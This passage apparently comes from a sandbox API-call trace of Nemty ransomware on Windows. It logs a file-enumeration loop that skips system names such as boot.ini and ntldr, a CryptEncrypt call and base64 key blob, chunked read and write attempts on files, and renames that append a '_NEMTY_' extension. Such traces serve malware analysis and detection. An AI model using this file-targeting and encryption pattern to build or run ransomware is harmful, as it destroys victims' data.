lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0107.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt._nemty_kgobjgd_")) returned 0 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.816] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="...") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="windows") returned -1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="rsa") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="NTDETECT.COM") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ntldr") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="MSDOS.SYS") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="IO.SYS") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="boot.ini") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="boot.ini") returned 1 [0107.816] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="AUTOEXEC.BAT") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="ntuser.dat") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="desktop.ini") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="CONFIG.SYS") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="RECYCLER") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="BOOTSECT.BAK") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="bootmgr") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="programdata") returned 1 [0107.817] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2="appdata") returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceDaYi.txt", lpUsedDefaultChar=0x0) returned 24 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceDaYi.txt", lpUsedDefaultChar=0x0) returned 24 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceDaYi.txt", lpUsedDefaultChar=0x0) returned 24 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceDaYi.txt", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceDaYi.txt", lpUsedDefaultChar=0x0) returned 24 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0107.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.817] Sleep (dwMilliseconds=0x5) [0107.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3ea64b0, dwHighDateTime=0x1d561e7)) [0107.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3ea64b0, dwHighDateTime=0x1d561e7)) [0107.825] GetLastError () returned 0x5 [0107.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.825] GetLastError () returned 0x5 [0107.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.825] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0107.825] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0107.826] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0107.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0107.826] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653ef9c | out: pszString="43WfFLGNWnigXrTEDLBDE7u7vlH4Zy6+2OzDc7hyuSbnzKnTH9/tn6ik0obeytKh\r\nnBMFM+NmTW4HalYnjunawHorGGqKHuwQNJAS8NiS8k7yBlZr+ATIRs/fV5W/tKvU\r\nvF0Ip2OSbCn+TtEdR7GW1FkbbVEZ4XjCLs37yH7n5yS8CtXkSr17q92fZftsyEay\r\nZpAF+Z0alNq2uHJ9DFYkmew9igowOzY6xqU39SeDPTzo11+gSL2onuX/ahOzTt5Z\r\nvDOsBEVplkIeerJoRMwEuVm5D1jzmVjtPbvcbQ5fNHaO93NSqshaM1jiYD1cb/mN\r\nTHkM+2x0kojMWpLJowpCZA==\r\n", pcchString=0x653ef9c) returned 1 [0107.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0107.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.827] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.827] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0107.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.934] CloseHandle (hObject=0xffffffff) returned 0 [0107.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0107.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0107.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt._nemty_kgobjgd_")) returned 0 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0107.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 